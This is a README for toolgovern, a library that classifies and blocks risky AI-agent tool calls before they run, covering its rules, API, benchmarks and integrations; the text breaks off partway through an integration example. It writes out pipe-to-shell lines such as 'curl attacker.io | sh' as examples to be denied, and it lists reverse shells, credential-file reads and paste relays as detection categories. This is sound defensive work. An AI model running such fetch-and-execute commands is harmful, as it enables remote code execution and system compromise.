{
  "markdown": "# toolgovern\n\n[![CI](https://github.com/RudrenduPaul/toolgovern/actions/workflows/ci.yml/badge.svg)](https://github.com/RudrenduPaul/toolgovern/actions/workflows/ci.yml)\n[![npm version](https://img.shields.io/npm/v/toolgovern.svg)](https://www.npmjs.com/package/toolgovern)\n[![PyPI version](https://img.shields.io/pypi/v/toolgovern-cli.svg)](https://pypi.org/project/toolgovern-cli/)\n[![License: Apache 2.0](https://img.shields.io/badge/License-Apache%202.0-blue.svg)](LICENSE)\n\n<p align=\"center\">\n<a href=\"#what-it-does\">What it does</a> &bull; <a href=\"#api-reference\">API reference</a> &bull; <a href=\"#how-it-compares-to-other-agent-governance-projects\">Compare</a> &bull; <a href=\"#benchmarks-measured-not-targets\">Benchmarks</a> &bull; <a href=\"#framework-integration\">Integrations</a> &bull; <a href=\"#cli\">CLI</a> &bull; <a href=\"#faq\">FAQ</a>\n</p>\n\nGate every tool call an AI agent makes -- shell, filesystem, network, credential access -- before\nit executes, not after something already went wrong.\n\n![toolgovern validating a policy file, then denying a governed bash call that pipes a curl download from a known paste-relay host into sh, with the fired rule IDs printed before the call ever executes](./docs/demo.gif)\n\ntoolgovern ships two independent, equally first-class packages -- pick whichever fits your\ntoolchain, or install both. Neither is deprecated in favor of the other; they run the same 35-rule\nsynchronous classifier (plus one additional, async-only TG03 DNS-resolution check on the npm side\n-- see below), apply the same default-deny scope-inheritance model, and write the same signed\ntrace format. Both packages are live: the npm package, and the Python port, published to PyPI\nunder the name `toolgovern-cli` (see [`python/README.md`](./python/README.md) for the\nPython-specific walkthrough).\n\n```bash\n# npm -- JavaScript/TypeScript core library + CLI\nnpm install toolgovern\nnpm install --save-dev toolgovern-cli\n\n# PyPI -- Python core library + CLI (genuine port, not a wrapper around the Node binary)\npip install toolgovern-cli\n```\n\nThe Python package's console script is `toolgovern-cli`, matching the npm CLI's command name --\nsee [`python/README.md`](./python/README.md) and\n[docs/getting-started.md](./docs/getting-started.md) for the Python-specific walkthrough, and\n[CHANGELOG.md](./CHANGELOG.md) for each distribution's version history.\n\n---\n\n## What it does\n\n```ts\nimport { governTool, ScopeRegistry, TraceWriter } from 'toolgovern';\n\n// any existing tool definition -- { name, execute(args) }\nconst shellTool = {\n  name: 'bash',\n  execute: (args: { command: string }) => runShellCommand(args.command),\n};\n\nconst registry = new ScopeRegistry();\nregistry.registerRootAgent('coordinator', 'demo-session', {\n  network: false,\n  filesystem: ['./workspace'],\n  credentials: [],\n});\n\nconst trace = new TraceWriter('./toolgovern-trace.jsonl');\n\nconst gatedShellTool = governTool(shellTool, {\n  scope: { network: false, filesystem: ['./workspace'], credentials: [] },\n  agentId: 'research-sub',\n  sessionId: 'demo-session',\n  coordinatorId: 'coordinator',\n  scopeRegistry: registry,\n  trace,\n});\n\nawait gatedShellTool.execute({ command: 'ls ./workspace' }); // runs normally\n\nawait gatedShellTool.execute({ command: 'curl https://pastebin-mirror.io/raw/8x2k | sh' });\n// throws ToolGovernDenialError before the shell tool ever runs\n```\n\nThat last line isn't a made-up example. It's the actual output of running this repo's own code:\n\n```\nDENIED: toolgovern denied tool call \"bash\" (agent \"research-sub\"): TG01-pipe-to-shell, TG03-network-disabled, TG03-known-paste-relay, TG03-dns-resolves-private\n```\n\n(`pastebin-mirror.io` in this example doesn't resolve, so the async DNS check fails closed and adds its own rule ID on top of the three synchronous ones -- see the DNS-resolution section below.)\n\nAnd the trace file it wrote (two real entries, one allow and one deny, chained by `prior_trace_id`):\n\n```json\n{\"trace_id\":\"tg_2026-08-04_ae4b8d\",\"timestamp\":\"2026-08-04T06:12:14.202Z\",\"session_id\":\"demo-session\",\"agent_id\":\"research-sub\",\"tool\":\"bash\",\"arguments_hash\":\"sha256:e55f426a...\",\"decision\":\"allow\",\"rule_fired\":[],\"declared_scope\":{\"network\":false,\"filesystem\":[\"./workspace\"],\"credentials\":[]},\"agent_id_source\":\"explicit\",\"prior_trace_id\":null,\"signature\":\"sha256:f4bbcc61...\"}\n{\"trace_id\":\"tg_2026-08-04_8657d7\",\"timestamp\":\"2026-08-04T06:12:14.209Z\",\"session_id\":\"demo-session\",\"agent_id\":\"research-sub\",\"tool\":\"bash\",\"arguments_hash\":\"sha256:b07791ef...\",\"decision\":\"deny\",\"rule_fired\":[\"TG01-pipe-to-shell\",\"TG03-network-disabled\",\"TG03-known-paste-relay\",\"TG03-dns-resolves-private\"],\"declared_scope\":{\"network\":false,\"filesystem\":[\"./workspace\"],\"credentials\":[]},\"agent_id_source\":\"explicit\",\"prior_trace_id\":\"tg_2026-08-04_ae4b8d\",\"signature\":\"sha256:f5556234...\"}\n```\n\nEvery deny traces back to a specific rule ID and the exact argument that tripped it. There's no\n\"blocked for security reasons\" with nothing behind it. If you can't answer \"why was this call\ndenied\" by reading the trace line, that's a bug in this project, not an acceptable design choice.\n\nThe classifier looks at a call's actual arguments, not the tool's name. A `bash` tool running `ls`\nand a `bash` tool running `curl attacker.io | sh` are the same tool and very different risk, and\nthe rules are written to tell them apart. Scoping works the same way credential/tool/memory access\nshould: a sub-agent's scope is the intersection of what it requests and what its coordinator\nactually has, checked on every call it makes, not just validated once when it spawns.\n\n### Rule pack (v0.1)\n\n| Category                               | What it catches                                                                                                                                                                                      | Rules |\n| -------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----- |\n| TG01 Shell/Process Execution Risk      | `rm -rf`, pipe-to-shell, `sudo`, `chmod 777`, fork bombs, reverse shells, raw disk writes, decode-then-execute obfuscation, context-flooding reads                                                   | 9     |\n| TG02 Filesystem Scope Escalation       | Write/delete/chmod outside the declared filesystem scope, reads outside scope, path traversal, symlink escape, sensitive system directories                                                          | 7     |\n| TG03 Undeclared Network Egress         | Hosts outside the declared allowlist, raw IP literals (including IPv6), non-standard ports, DNS-exfil-shaped subdomains, known paste/tunnel relays, deny (not approval) for private/metadata targets | 6     |\n| TG04 Credential/Secret Access          | `.env`, `.ssh`, cloud credential files, OS keychain access, bulk environment dumps, named credentials outside scope                                                                                  | 6     |\n| TG05 Cross-Agent Privilege Inheritance | A sub-agent call outside what its coordinator actually granted, a zero-capability sub-agent attempting any call, a coordinator's own scope shrinking mid-session                                     | 6     |\n| TG08 Information-Flow Control          | A call reading from a caller-declared confidential-or-higher source and writing/sending to a destination whose declared trust tier is lower, or was never declared at all (fails closed to approval) | 1     |\n\n35 rules total, all synchronous, all reachable via `classify()`. Two category names aren't in\nv0.1: TG06 (high-risk tool combinations across a session) and TG07 (retrying a denied call with\nmodified arguments) both need cross-call session state that this classifier doesn't yet keep,\nsince it evaluates one call at a time with no memory of prior calls. That's a stated limitation,\nnot a hidden one. TG08 (above) is the next category after TG05 that ships, because -- unlike\nTG06/TG07 -- it needs no cross-call state: it evaluates one call's own declared source/sink\narguments against a caller-declared label policy (`ScopeDeclaration.ifc`), nothing more. TG08 is\nopt-in: it never fires for an agent whose scope declares no `ifc` policy at all, so this addition\nchanges nothing for existing callers. See\n[`docs/concepts.md`](./docs/concepts.md#tg08-information-flow-control) for the labeling API and\n[`docs/security-model.md`](./docs/security-model.md) for what this scoped primitive deliberately\ndoes not attempt (no automatic label inference, no cross-call taint tracking, no reader-scoped\nlattice -- it is not a FIDES-style MCP gateway IFC system, just the smallest real primitive that\nlets a genuine label-propagation check exist).\n\n**A 36th check, async-only: DNS resolution of hostname arguments (TG03).** A raw IP literal\nargument (`127.0.0.1`, `169.254.169.254`, ...) targeting loopback/RFC1918/link-local/cloud-metadata\nspace is already denied by the 35-rule table above. What that table's `TG03-raw-ip-literal` rule\ncannot catch is a **hostname** argument that merely _resolves_ to one of those same addresses\n(`internal-alias.attacker.io -> 127.0.0.1`) -- a DNS lookup is inherently I/O, not something a\nsynchronous rule can do. `TG03-dns-resolves-private` closes that gap: it resolves the hostname via\n`dns.promises.lookup()` (honoring `/etc/hosts`) and applies the exact same private/metadata range\ncheck to every resolved address, failing closed (`require-approval`, never `allow`) if resolution\nitself fails or times out. Because this needs `await`, it lives in a separate `classifyAsync()`\nentry point (`governTool()`'s already-`async` `execute()` calls this instead of the synchronous\n`classify()`), not the 35-rule table above -- `classify()` alone will not run it. See\n[`docs/security-model.md`](./docs/security-model.md) (finding #10) for the full writeup, including\nthe honestly-disclosed limits: this narrows but does not eliminate DNS-rebinding TOCTOU, and\nredirect-chain revalidation is a separate, still-open gap this check does not attempt. The Python\npackage folds the equivalent check directly into its one synchronous `classify()` instead (36\nrules total there), since `govern_tool()` is synchronous end to end in that port and\n`socket.getaddrinfo()` is itself a blocking call -- see\n[`python/README.md`](./python/README.md) for that side's rule count.\n\nA gate decision of `allow` means the call was checked against this rule set and nothing fired. It\nis not a claim that the call is safe. The rule set is finite, and `docs/security-model.md`\ndocuments specifically what kinds of obfuscation it does and doesn't catch.\n\nBy default, a call that matches no rule at all is allowed, not denied -- `governTool()`'s\n`defaultDecision` option defaults to `'allow'`, favoring usability over a hard fail-closed\nposture out of the box. If you want unrecognized calls to require approval or be denied instead,\nset `defaultDecision: 'require-approval'` or `'deny'` explicitly. Either way, `allow` never means\n\"nothing could have gone wrong\" -- it means \"checked against 35 rules, none fired.\"\n\n## The gap this closes\n\nMulti-agent frameworks generally give you two primitives: a tool an agent can call, and a way to\nspawn a sub-agent. What most of them don't give you is a way to say \"this sub-agent gets less\naccess than its coordinator by default, and here's proof of what it actually tried to do.\" A\ncoordinator spins up a research sub-agent for a routine data pull, the sub-agent inherits the\ncoordinator's full tool access because the framework has no concept of scoping it down, and\nnothing tells \"the shell tool ran `ls`\" apart from \"the shell tool ran `curl attacker.io | sh`.\"\nBoth are just the shell tool running.\n\nThat's not a hypothetical. It's the kind of gap that shows up, repeatedly, in real multi-agent\nframework issue trackers: someone proposes a per-call risk-gating hook and it sits open, marked as\na maybe for a future release with no committed timeline, and someone else asks for scoped\ncredential management so a sub-agent can't silently reach whatever its coordinator can reach, and\nthat stays open too. toolgovern closes that specific gap in a way any framework can adopt today,\nwithout waiting on a maintainer roadmap: wrap your existing tool definitions in one function call,\nand every invocation gets evaluated -- allow, deny, or require-approval -- before it reaches your\nreal tool executor.\n\n## Why this matters now\n\nNone of what follows is a claim about toolgovern's own adoption. It's why gating a tool call\nbefore it executes is worth doing at all right now, not later.\n\nMCP tool poisoning and supply-chain risk are validated, incident-backed problems, not a\nhypothetical. Invariant Labs formally named MCP tool poisoning in April 2025, the Postmark MCP npm\npackage suffered an insider-attack BCC backdoor in September 2025, roughly a third of scanned MCP\nservers were found carrying a critical vulnerability, and Microsoft disclosed a\npoisoned-MCP-tool-description attack technique in July 2026\n([The Hacker News](https://thehackernews.com/2026/06/microsoft-warns-poisoned-mcp-tool.html),\n[Cloud Security Alliance](https://labs.cloudsecurityalliance.org/research/csa-research-note-mcp-security-crisis-20260504-csa-styled/),\n[Practical DevSecOps](https://www.practical-devsecops.com/mcp-security-statistics-2026-report/)).\n\nMicrosoft shipped its own open-source Agent Governance Toolkit in April 2026, a runtime policy\nengine that intercepts agent actions before execution\n([opensource.microsoft.com](https://opensource.microsoft.com/blog/2026/04/02/introducing-the-agent-governance-toolkit-open-source-runtime-security-for-ai-agents/)).\nIt's an unrelated project -- toolgovern isn't affiliated with it and doesn't claim to be -- cited\nhere only because it confirms that gating a tool call before it runs is now a concern the largest\nframework vendors are building for too, not something only a small OSS project cares about.\n\nThe frameworks this project ships real integrations for are themselves consolidating and growing\nfast, which is part of why the gap matters at each of them specifically. Microsoft merged AutoGen\nand Semantic Kernel into Microsoft Agent Framework 1.0 (GA'd 2026-04-03), with first-class Python\nand .NET support under `Microsoft.Agents.AI`\n([devblogs.microsoft.com](https://devblogs.microsoft.com/agent-framework/microsoft-agent-framework-version-1-0/),\n[github.com/microsoft/agent-framework](https://github.com/microsoft/agent-framework)). LangGraph\npassed CrewAI in GitHub stars in early 2026, driven by enterprise adoption of its graph-based\narchitecture ([langchain.com](https://www.langchain.com/resources/ai-agent-frameworks)). The\nClaude Agent SDK reportedly passed AutoGen in enterprise production-deployment count in\nearly-to-mid 2026 per LangChain's own State of AI 2025 report, and ships a purpose-built\n`PreToolUse` hook this project wires into directly (see the Claude Agent SDK integration below).\n\nRegulatory pressure adds a harder deadline on top of the technical case: the EU AI Act's\nhigh-risk-AI obligations take effect in August 2026, the Colorado AI Act becomes enforceable in\nJune 2026, and OWASP published a dedicated Top 10 for Agentic Applications for 2026. That's the\nbackdrop that makes \"can you show what an agent actually tried to do, and prove a call was blocked\nbefore it ran\" a question more teams get asked, not fewer.\n\n## API reference\n\nEverything below is exported from the `toolgovern` package's real entry point (`src/index.ts`) --\ngrepped from source, not aspirational. Full types live in the package itself; this is the surface\nyou actually import from.\n\n**Middleware**\n\n| Export                              | Signature                                                                                                                                                                                                                 | What it does                                                                                                                                                        |\n| ----------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| `governTool`                        | `governTool<Args, Result>(tool: ToolDefinition<Args, Result>, options: GovernToolOptions): ToolDefinition<Args, Result>`                                                                                                  | Wraps a tool definition so every call is classified before it reaches your real executor.                                                                           |\n| `ToolGovernDenialError`             | `class extends Error`                                                                                                                                                                                                     | Thrown when a call is denied.                                                                                                                                       |\n| `InvalidAgentIdError`               | `class extends Error`                                                                                                                                                                                                     | Thrown when an agent ID doesn't match a registered scope.                                                                                                           |\n| `resumePendingApproval`             | `resumePendingApproval<Args, Result>(tool: ToolDefinition<Args, Result>, registry: PendingApprovalRegistry, pendingId: string, resolution: ResolvePendingInput, options?: ResumePendingApprovalOptions): Promise<Result>` | Closes the loop a `require-approval` verdict opens: resolves a pending approval in the registry, then actually runs the original tool if the resolution allowed it. |\n| `PendingApprovalNotResolvableError` | `class extends Error`                                                                                                                                                                                                     | Thrown by `resumePendingApproval` when the pending ID is already resolved, expired, or unknown.                                                                     |\n\n**Scoping**\n\n| Export                                                                       | Signature                                                | What it does                                                                                    |\n| ---------------------------------------------------------------------------- | -------------------------------------------------------- | ----------------------------------------------------------------------------------------------- |\n| `ScopeRegistry`                                                              | `registerRootAgent(agentId, sessionId, scope): void`     | Registers a coordinator's own scope so sub-agent calls can be checked against it.               |\n| `computeInheritedScope`                                                      | `(coordinatorScope, requestedScope) => ScopeDeclaration` | Pure function: intersects a sub-agent's requested scope with what its coordinator actually has. |\n| `hasZeroCapability`                                                          | `(scope) => boolean`                                     | True if a scope grants no access at all.                                                        |\n| `normalizeScope`, `isValidScopeDeclaration`, `isValidAgentId`, `EMPTY_SCOPE` | --                                                       | Scope validation and normalization helpers.                                                     |\n\n**Trace**\n\n| Export                                             | Signature                                                                                               | What it does                                                                                                                                                            |\n| -------------------------------------------------- | ------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| `TraceWriter`                                      | `new TraceWriter(filePath: string, options?: TraceWriterOptions)`, `append(input): Promise<TraceEntry>` | Writes a signed, hash-chained JSONL trace entry per call.                                                                                                               |\n| `readTrace`                                        | `(filePath: string) => Promise<TraceEntry[]>`                                                           | Reads a trace file back into memory.                                                                                                                                    |\n| `filterTrace`                                      | `(entries, query: TraceQuery) => TraceEntry[]`                                                          | Filters trace entries by time window, decision, agent, or rule ID -- what `toolgovern-cli audit` runs under the hood.                                                   |\n| `verifyChain`                                      | `(entries, options?) => ChainVerificationResult`                                                        | Recomputes signatures and confirms `prior_trace_id` links are intact.                                                                                                   |\n| `parseSince`                                       | `(since: string, now?: Date) => Date`                                                                   | Parses a `--since` window string (e.g. `24h`) into a `Date`.                                                                                                            |\n| `computeEntryContentHash`, `computeEntrySignature` | --                                                                                                      | Low-level hashing/signing primitives behind `TraceWriter`.                                                                                                              |\n| `canonicalJson`                                    | `(value: unknown) => string`                                                                            | Deterministic, key-sorted JSON serialization -- what the hashing/signing primitives above run every entry through so the same logical entry always hashes the same way. |\n\n**Policy**\n\n| Export           | Signature                                  | What it does                                                                            |\n| ---------------- | ------------------------------------------ | --------------------------------------------------------------------------------------- |\n| `loadPolicy`     | `(filePath: string) => Policy`             | Loads and validates a YAML policy file, throwing `PolicyValidationError` on a bad file. |\n| `validatePolicy` | `(raw: unknown) => PolicyValidationResult` | Validates a policy object without loading from disk.                                    |\n| `asPolicy`       | `(raw: unknown) => Policy`                 | Type-narrows a validated raw object to `Policy`.                                        |\n\n**Approval**\n\n| Export                              | Signature                                                               | What it does                                                                                                                                                                    |\n| ----------------------------------- | ----------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| `PendingApprovalRegistry`           | `new PendingApprovalRegistry(options?: PendingApprovalRegistryOptions)` | A durable, alias-tolerant registry for `require-approval` verdicts that get resolved out-of-band (a Slack button, a review queue) instead of answered synchronously in-process. |\n| `UnknownPendingApprovalError`       | `class extends Error`                                                   | Thrown when resolving an approval ID the registry has no record of.                                                                                                             |\n| `PendingApprovalAliasConflictError` | `class extends Error`                                                   | Thrown when a caller-supplied alias collides with an existing pending approval.                                                                                                 |\n\nIn-memory by default; back it with real durable storage yourself for a deployment that spans\nprocesses. See the Claude Agent SDK integration below for a worked example wiring this into a real\n`PreToolUse` hook's require-approval path.\n\n**MCP-server trust**\n\n| Export                    | Signature                                                                                                         | What it does                                                                                                                                                                                                                             |\n| ------------------------- | ----------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| `isOriginAllowed`         | `(origin: string, allowlist: readonly string[]) => boolean`                                                       | Connection-time origin allowlist check, exact-match by default (opt into subdomain matching with a leading `*.` entry).                                                                                                                  |\n| `verifyMcpServerManifest` | `(manifestUrlOrEnvelope: string \\| McpManifestEnvelope, opts: VerifyManifestOptions) => Promise<McpTrustVerdict>` | Verifies an MCP server manifest's detached Ed25519/RSA-SHA256 signature against a pinned public-key list. Fails closed on every path: no pinned keys, unreachable manifest, unknown key ID, or a signature that doesn't verify all deny. |\n| `assertMcpServerTrusted`  | `(request: McpServerConnectionRequest, policy: McpTrustPolicy) => Promise<McpTrustVerdict>`                       | The combined connection-time gate: origin allowlist first, then manifest signature verification, before any tool the server declares is trusted.                                                                                         |\n\nThis is a categorically different governance moment from TG01-TG05/TG08: those classify what a\ntool call _does_ once an MCP server is already connected and its tools are already being invoked.\n`mcp-trust` answers a question the per-call classifier never asks -- should this agent have\nconnected to this MCP server, and trusted the tool definitions it declared, in the first place --\nchecked once at connection time, before any tool call from that server is ever classified. It's\nmotivated directly by two real 2026 MCP supply-chain incidents: the CrewAI CVE-2026-2275/2287\nchain (an untrusted MCP-sourced tool as the enabling condition for a prompt-injection-to-RCE\nchain) and the Postmark MCP package rug-pull (a previously-trusted server pushing a malicious\nupdate that every downstream deployment silently inherited). See\n[`docs/security-model.md`](./docs/security-model.md) (\"MCP-server trust boundary\") for the full\nwriteup, including what this module deliberately doesn't attempt: no sigstore/keyless\nverification, no revocation checking for a compromised pinned key, and no re-verification of a\nlive connection after the manifest check passes once.\n\n**Classifier**\n\n| Export              | Signature                                                                    | What it does                                                                                                                   |\n| ------------------- | ---------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------ |\n| `classify`          | `(ctx: RuleContext, options?: ClassifyOptions) => ClassifierResult`          | Runs the 35-rule synchronous classifier directly against a call context. Does not run `TG03-dns-resolves-private` (see below). |\n| `classifyAsync`     | `(ctx: RuleContext, options?: ClassifyOptions) => Promise<ClassifierResult>` | What `governTool()` actually calls: everything `classify()` does, plus the async TG03 DNS-resolution check.                    |\n| `ruleRegistry`      | `Rule[]`                                                                     | The 35 synchronous rules -- what `classify()` checks every call against.                                                       |\n| `asyncRuleRegistry` | `AsyncRule[]`                                                                | The async-only rule(s) -- currently just `TG03-dns-resolves-private` -- `classifyAsync()` additionally checks.                 |\n\n**Other**\n\n| Export                     | Signature                                   | What it does                                                    |\n| -------------------------- | ------------------------------------------- | --------------------------------------------------------------- |\n| `IdempotencyCache<Result>` | `constructor(options?: IdempotencyOptions)` | Dedupes retried calls with identical arguments within a window. |\n\nTypes: `Decision`, `AgentIdSource`, `RuleCategory`, `ScopeDeclaration`, `Policy`, `RuleOverrides`,\n`RuleContext`, `RuleMatch`, `Rule`, `AsyncRule`, `ClassifierResult`, `TraceEntry`, `TraceEntryInput`,\n`AgentScopeRecord`, `GovernToolOptions`, `GateDecisionInfo`, `ApprovalHandler`, `ApprovalOutcome`,\n`ToolDefinition`.\n\nIntegration packages export a narrower, framework-specific surface on top of the above:\n`toolgovern-integration-oma` exports `governedTool(tool, options)` and\n`governedExecutor(baseExecutor, options)`; `toolgovern-integration-langgraph` exports\n`governedLangGraphTool(langchainTool, options)` and `governedLangGraphTools(langchainTools, options)`.\n\n## How it compares to other agent governance projects\n\nThis isn't an empty field. Read the table honestly before deciding what you need.\n\n|                            | **toolgovern**                                                      | [Microsoft Agent Governance Toolkit](https://github.com/microsoft/agent-governance-toolkit)      | [NVIDIA NeMo Relay](https://github.com/NVIDIA/NeMo-Relay)                                                                        | [LangGraph human-in-the-loop](https://docs.langchain.com/oss/python/langchain/human-in-the-loop) |\n| -------------------------- | ------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------ |\n| What it actually gates     | Tool calls, pre-execution, against a built-in rule set              | Tool calls, messages, and delegation, pre-execution, against policy you author (YAML/OPA/Cedar)  | Tool and LLM calls via pre-tool hooks -- coverage depends on the host agent, documented for Claude Code/Codex, partial elsewhere | A single tool call, paused for a human decision -- no automated risk classification              |\n| Rules out of the box       | 35, across 6 categories, zero config                                | None shipped -- you write the policy                                                             | None shipped -- pre-tool hooks call your own logic, not a built-in classifier                                                    | None -- you decide per call                                                                      |\n| Language / footprint       | TypeScript, one library, wraps a function                           | Python-first, 5 language SDKs, policy engine + identity system + execution sandbox + audit stack | Rust core, with Python/Node.js/Rust bindings (experimental Go)                                                                   | Python (a separate `langgraphjs` exists but tracks independently)                                |\n| Per-agent scope narrowing  | Yes -- a sub-agent can never exceed its coordinator's granted scope | Yes -- documented delegation-chain narrowing and a 4-ring privilege model                        | Not publicly documented                                                                                                          | No                                                                                               |\n| Tamper-evident audit trail | Yes -- signed, hash-chained local JSONL                             | Yes -- Merkle-audit-backed, part of a formal spec with 157 conformance tests                     | No -- raw JSONL trajectory export (ATOF/ATIF format), not signed                                                                 | No                                                                                               |\n| Hosted component required  | No, never                                                           | No -- self-hosted by design, Azure integration is optional                                       | No -- local CLI gateway                                                                                                          | No for the OSS library; LangGraph's own hosted server runtime is separately licensed             |\n| Stars (checked 2026-08-03) | 0, pre-launch                                                       | 5.6k                                                                                             | 103 (new, created 2026-03-31)                                                                                                    | 38.8k (core `langgraph` repo)                                                                    |\n| License                    | Apache 2.0                                                          | MIT                                                                                              | Apache 2.0                                                                                                                       | MIT                                                                                              |\n\nTwo things worth being direct about, because they'd get caught fast otherwise:\n\nMicrosoft's Agent Governance Toolkit already does per-agent scope narrowing and a tamper-evident\naudit trail, in a more mature and more thoroughly specified form than toolgovern -- a formal\ndelegation-chain spec, a privilege-ring model, 157 conformance tests just for the audit layer.\nAnyone comparing the two on \"does it have scoping\" or \"does it have a signed trail\" alone will find\nthey're tied. That's not a reason to skip AGT; if you need a full governance platform with identity,\nsandboxing, and compliance mapping behind it, it's a real, well-built option.\n\nNeMo Relay and LangGraph's human-in-the-loop middleware are doing a genuinely different job, not a\nweaker version of the same one -- Relay gives you a pre-tool hook to call your own logic from\n(useful if you're already building on it, but it ships no rule classifier of its own, and its\ndocumented hook coverage is strongest for Claude Code/Codex, partial elsewhere), and LangGraph's\nHITL is a manual pause-and-ask primitive with no automated classification underneath it. Listing\nthem here is about scope, not a claim that toolgovern beats them at their own task.\n\nWhere toolgovern's actual edge sits: you `npm install` it, wrap one function, and get 35 rules\nthat already exist -- no policy authoring, no identity system to stand up, no separate services to\nrun. AGT is infrastructure you deploy; toolgovern is a library you import. If you want a curated\nrule set with zero configuration and you're fine running it yourself with no vendor and no\ndashboard, that's what this is for. If you need a full governance platform with a support contract\nbehind it, AGT is the more honest answer today, and pretending otherwise here would not survive\nfive minutes of scrutiny.\n\n## Benchmarks (measured, not targets)\n\nRun it yourself: `npm run build && npm run bench:detection-rate && npm run bench:latency`. Full\nmethodology, corpus description, and the 3-run numbers live in `benchmarks/README.md`; the table\nbelow is a summary of that file, not a separate claim.\n\n| Category                               | Rule checks | Detection rate     | False-positive rate |\n| -------------------------------------- | ----------- | ------------------ | ------------------- |\n| TG01 Shell/Process Execution Risk      | 9           | 100.0% (16/16)     | 0.0% (0/13)         |\n| TG02 Filesystem Scope Escalation       | 7           | 100.0% (14/14)     | 0.0% (0/10)         |\n| TG03 Undeclared Network Egress         | 6           | 100.0% (12/12)     | 0.0% (0/9)          |\n| TG04 Credential/Secret Access          | 6           | 100.0% (13/13)     | 0.0% (0/9)          |\n| TG05 Cross-Agent Privilege Inheritance | 6           | 100.0% (10/10)     | 0.0% (0/10)         |\n| **Overall**                            | **34**      | **100.0% (65/65)** | **0.0% (0/51)**     |\n\nPer-call classifier latency, in-process with no network round-trip, measured across 5,000 calls\nper run over 3 runs: mean 7.8-8.2 microseconds, p50 7.5-7.6 microseconds, p95 10.3-10.7 microseconds,\np99 14.6-27.6 microseconds. See `benchmarks/README.md` for the full methodology and per-run numbers.\n\nRead the detection-rate number honestly: it's 100% on a 116-case corpus the maintainers wrote to\nmatch the rules the maintainers wrote, including obfuscated variants (base64-decode-then-execute,\nempty-quote-pair splitting, invisible Unicode characters, `$IFS`-as-space substitution) closed\nduring a security-hardening pass documented in `docs/security-model.md`. It isn't a claim that\n100% of real-world risky tool calls get caught. A technique not in this corpus could still get\nthrough, and if you find one, extend the corpus yourself.\n\n## Framework integration\n\nTwo published TypeScript integration packages (thin wrappers around `governTool()`, no\nindependent governance logic), five more Python-only integration packages targeting specific\nagent frameworks' own Python SDKs directly, a source-available .NET port of the core plus a real\nMicrosoft Agent Framework (.NET) adapter, and a CLI command (`toolgovern-cli init`, see below)\nthat scaffolds a TypeScript integration directly into your project. Each integration package's own\nREADME documents real, verified PASS/PARTIAL/FAIL findings against that framework's actual\nupstream issue tracker, not assumed from issue titles.\n\n### `toolgovern-integration-oma` -- open-multi-agent-style frameworks\n\nA generic, documented adapter for wrapping a multi-agent framework's tool-executor call site. It\nis not a submitted or merged integration against any specific upstream project -- it's a working\nstarting point to adapt, not a claim that any framework ships this today.\n\n![toolgovern-cli init oma scaffolding a toolgovern-integration-oma starting point into the current directory](./docs/demo-init-oma.gif)\n\n```bash\nnpm install toolgovern-integration-oma toolgovern\n```\n\nTwo shapes, matching the two real patterns frameworks actually use. Start with the first one:\n\n```ts\n// Per-tool, registration-time wrapping -- the pattern most frameworks with a tool registry\n// actually use (register one governed tool at a time).\nimport { governedTool } from 'toolgovern-integration-oma';\nimport { loadPolicy } from 'toolgovern';\n\nconst policy = loadPolicy('./toolgovern.policy.yml');\nregistry.register(governedTool(myTool, policy));\n```\n\n```ts\n// Dispatcher wrapping -- for frameworks whose tool-executor is a single\n// runTool(name, args) dispatcher instead of per-tool registration.\nimport { governedExecutor } from 'toolgovern-integration-oma';\nimport { loadPolicy } from 'toolgovern';\n\nconst policy = loadPolicy('./toolgovern.policy.yml');\nconst executor = governedExecutor(baseExecutor, policy);\n\n// wherever your framework currently calls baseExecutor.runTool(name, args) directly,\n// call executor.runTool(name, args) instead\n```\n\n### `toolgovern-integration-langgraph` -- LangGraph.js\n\nLangGraph.js's `ToolNode` has no `wrap_tool_call` hook -- that only exists in the separately\nmaintained Python `langgraph` package. The working Node-only integration point is one level up, at\ntool-definition time: wrap each tool with `governTool()`, then re-wrap it with LangChain's own\n`tool()` factory before it goes into `new ToolNode([...])`.\n\n```bash\nnpm install toolgovern-integration-langgraph @langchain/core @langchain/langgraph toolgovern\n```\n\n```ts\nimport { ToolNode } from '@langchain/langgraph/prebuilt';\nimport { governedLangGraphTools } from 'toolgovern-integration-langgraph';\nimport { loadPolicy } from 'toolgovern';\n\nconst policy = loadPolicy('./toolgovern.policy.yml');\n\nconst toolNode = new ToolNode(\n  governedLangGraphTools(myLangChainTools, {\n    ...policy,\n    agentId: 'research-sub',\n    sessionId: 'demo-session',\n  }),\n);\n// wire toolNode into your StateGraph exactly as you would with the raw tools array --\n// every call now flows through toolgovern's classifier first.\n```\n\nThis is new capability for LangGraph.js users going forward -- it does not retroactively resolve\nany previously reported LangGraph issue, since every LangGraph issue this project has validated\nwas filed against the Python `langchain-ai/langgraph` repository, not `langgraphjs`.\n\n### `toolgovern-integration-langgraph` (Python) -- LangGraph\n\nThe separately maintained Python `langgraph` package DOES expose a `wrap_tool_call` hook, a public\n`ToolNode` constructor parameter (confirmed against the real, installed `langgraph==1.2.9` /\n`langgraph-prebuilt==1.1.0` source). Every real LangGraph GitHub issue this project has validated\n(`langchain-ai/langgraph` #8026, #7687, #7178, #8169) is filed against exactly this package, so\nthis is the integration that targets real, reported behavior -- see\n[`integrations/langgraph-python/docs/root-cause.md`](./integrations/langgraph-python/docs/root-cause.md)\nfor the per-issue PASS/PARTIAL/FAIL verdicts.\n\nThis isn't published to PyPI yet -- install it from source:\n\n```bash\ngit clone https://github.com/RudrenduPaul/toolgovern.git\ncd toolgovern\npip install -e python\npip install -e integrations/langgraph-python\n```\n\n```python\nfrom langgraph.prebuilt import ToolNode\nfrom toolgovern import GovernToolOptions, load_policy\nfrom toolgovern_integration_langgraph import governed_tool_node\n\npolicy = load_policy(\"./toolgovern.policy.yml\")\noptions = GovernToolOptions.from_policy(policy, agent_id=\"research-sub\", session_id=\"demo-session\")\n\ntool_node = governed_tool_node(my_tools, options)\n# wire tool_node into your StateGraph 